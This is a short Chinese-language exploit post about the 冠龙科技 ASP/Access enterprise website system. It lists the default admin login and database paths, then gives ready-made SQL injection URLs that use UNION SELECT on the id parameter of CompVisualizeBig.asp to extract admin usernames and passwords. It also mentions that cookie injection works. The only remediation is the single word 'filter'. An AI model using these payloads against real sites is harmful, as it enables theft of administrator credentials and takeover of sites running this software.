by Mr.DzY from www.0855.tv

源码简介:
冠龙科技企业网站管理系统是基于ASP+ACCESS技术开发的电子商务平台,属于全自动化、全智能的在线方

式管理、维护、更新的网站管理系统。此系统直接上传到你的网站空间就可以使用了。完全后台操作。

源码下载:http://www.2cto.com/ym/201109/29454.html

默认后台:
http://www.2cto.com /admin/login.asp

默认数据库:
http://www.2cto.com /databases/%23database.mdb

exp:
http://www.2cto.com /2011/CompVisualizeBig.asp?id=23 union select 1,username%2bpassword,3,4,5 from admin

或者单独查:
http://www.2cto.com /2011/CompVisualizeBig.asp?id=23 union select 1,username,3,4,5 from admin
http://www.2cto.com /2011/CompVisualizeBig.asp?id=23 union select 1,password,3,4,5 from admin

另外还存在多处的漏洞.可cookies注入.

上次有朋友问%2b是什么?就是ascii码的"+"号的十六进制值.

修复:过滤.